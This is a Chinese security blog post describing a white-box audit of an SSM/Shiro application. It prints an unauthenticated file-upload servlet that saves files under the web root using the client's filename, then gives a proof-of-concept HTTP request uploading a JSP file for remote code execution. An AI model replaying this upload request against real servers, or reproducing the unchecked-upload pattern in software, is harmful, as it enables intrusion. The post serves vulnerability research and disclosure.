白盒审计获得CNVD证书的案例

admin 2026-01-29 01:11:55 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文介绍SSM及Shiro系统的白盒审计案例。审计发现UploadRecordServlet路由未授权,且文件上传功能未过滤后缀与文件名,直接写入Web目录,导致远程代码执行。最终获得CNVD证书,建议加强权限校验与文件上传安全检测。 综合评分: 81 文章分类: 代码审计,WEB安全,漏洞分析,渗透测试,实战经验


cover_image

白盒审计获得CNVD证书的案例

原创

ptr ptr

UpRoot

2026年1月28日 17:14 江苏

“没有方向,就先粗糙的开始,这过程会经历迷茫、气馁、甚至想放弃,也许会觉得自己在做一些没有用的事情,但坚持了会慢慢找到感觉。好的方向可以是在努力的路上找到的。”


代码审计

这是我十月份的漏洞报告,过去三个多月了,我的能力要比当初进步很多,这套源码今天再来看的时候,我会有更多的思考。

SSM+Shiro

从web.xml入手,我找到了该路由。

并且我在shiro的配置文件发现未对该路由做任何限制,那么这个路由就是可以未授权访问的。

我们来到com.xxx.acs.servlet.UploadRecordServlet看看内部具体逻辑。

package com.xxx.acs.servlet;

import com.xxx.acs.utils.AcsUtil;
import java.io.ByteArrayInputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import javax.activation.DataSource;
import javax.mail.BodyPart;
import javax.mail.MessagingException;
import javax.mail.internet.MimeMultipart;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

publicclass UploadRecordServlet extends HttpServlet {
    Logger log = LogManager.getLogger(UploadRecordServlet.class);

    public UploadRecordServlet() {
    }

    protected void processRequest(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        this.log.info("Uploader request: path=" + request.getPathInfo() + " querystring=" + request.getQueryString() + " sess=" + request.getSession(false));
        String pathInfo = request.getPathInfo();
        String[] param = pathInfo.split("/");
        Integer hostId = Integer.valueOf(param[1]);
        File uploadDir = null;

        String ct;
        try {
            String recordPath = AcsUtil.getRecordPath();
            ct = recordPath + param[1];
            uploadDir = new File(ct);
            if (!uploadDir.exists()) {
                uploadDir.mkdirs();
            }
        } catch (Exception var14) {
            Exception e = var14;
            this.log.error(e.getMessage(), e);
        }

        if (uploadDir == null) {
            this.log.error("not log dir create for host [" + hostId + "]");
        } else {
            int t = false;
            ct = request.getContentType();
            if (ct != null && ct.startsWith("multipart/form-data;")) {
                MultipartDataSource src = new MultipartDataSource(request);

                try {
                    MimeMultipart mp = new MimeMultipart(src);
                    this.log.info("Got body count " + mp.getCount());
                    BodyPart bp = mp.getBodyPart(0);
                    FileOutputStream fout = new FileOutputStream(uploadDir.getAbsolutePath() + File.separator + bp.getFileName());
                    bp.getDataHandler().writeTo(fout);
                    fout.close();
                    this.log.info("Upload data read complete.");
                    this.log.info("FileName = " + bp.getFileName());
                    this.log.info("Disposition = " + bp.getDisposition());
                    this.log.info("Description = " + bp.getDescription());
                    this.log.info("Size = " + bp.getSize());
                } catch (MessagingException var13) {
                    MessagingException ex = var13;
                    this.log.error(ex.getMessage(), ex);
                }
            } else {
                this.log.info("Uknown content type: " + ct);
            }

        }
    }

    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        this.processRequest(request, response);
    }

    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        this.processRequest(request, response);
    }

    protected void doPut(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        this.processRequest(request, response);
    }

    public String getServletInfo() {
        return"Upload log files";
    }

    privateclass MultipartDataSource implements DataSource {
        private ByteArrayInputStream streamIn;
        private String contentType;

        public MultipartDataSource(HttpServletRequest request) throws IOException {
            int o = 0;
            int l = request.getContentLength();
            InputStream s = request.getInputStream();

            byte[] b;
            int c;
            for(b = newbyte[l]; (c = s.read(b, o, l)) > 0 && l > 0; l -= c) {
                o += c;
            }

            this.streamIn = new ByteArrayInputStream(b);
            UploadRecordServlet.this.log.info("Available: " + this.streamIn.available());
            this.contentType = request.getContentType();
        }

        public InputStream getInputStream() throws IOException {
            returnthis.streamIn;
        }

        public OutputStream getOutputStream() throws IOException {
            thrownew IOException();
        }

        public String getContentType() {
            returnthis.contentType;
        }

        public String getName() {
            return"MultipartDataSource";
        }
    }
}

这是一个Servlet,可以接收GET、POST、PUT请求。

重点关注com.xxx.acs.servlet.UploadRecordServlet#processRequest。

这是一个文件上传处理方法。

这里我们可以看到,从/uploadrecord/xxx中拿到xxx的内容,其实也就是然后创建了名为xxx的文件夹。

我们跟进AcsUtil.getRecordPath()。

    public static String getRecordPath() {
        String path = AcsUtil.class.getClassLoader().getResource("").toString().replace("%20", " ");
        path = path.replaceAll("file:", "");
        int lastIndex = path.lastIndexOf("WEB-INF/");
        path = path.substring(0, lastIndex) + "record" + File.separator;
        return path;
    }

发现是在WEN-INF下面创建了/record/xxx的文件夹。这个文件夹在web目录下来,同样是可以未授权访问的。

创建完文件夹后,判断Content-Type是否为multipart/form-data;,如果是则可以进行文件上传。

这里重点关注其未对后缀做任何限制,并且其直接用的原文件名,也可以造成目录穿越的危害。

于是,我们可以构造如下poc:

POST http://xxx/uploadrecord/105 HTTP/1.1
Host: xxx
Content-Type: multipart/form-data; boundary=WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: 190

--WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="1.jsp"
Content-Type: text/plain

<% out.print("test");%>
--WebKitFormBoundary7MA4YWxkTrZu0gW--

访问/record/105/1.jsp

成功解析,造成前台RCE。

  • END –

免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:UpRoot ptr ptr《白盒审计获得CNVD证书的案例》

评论:0   参与:  0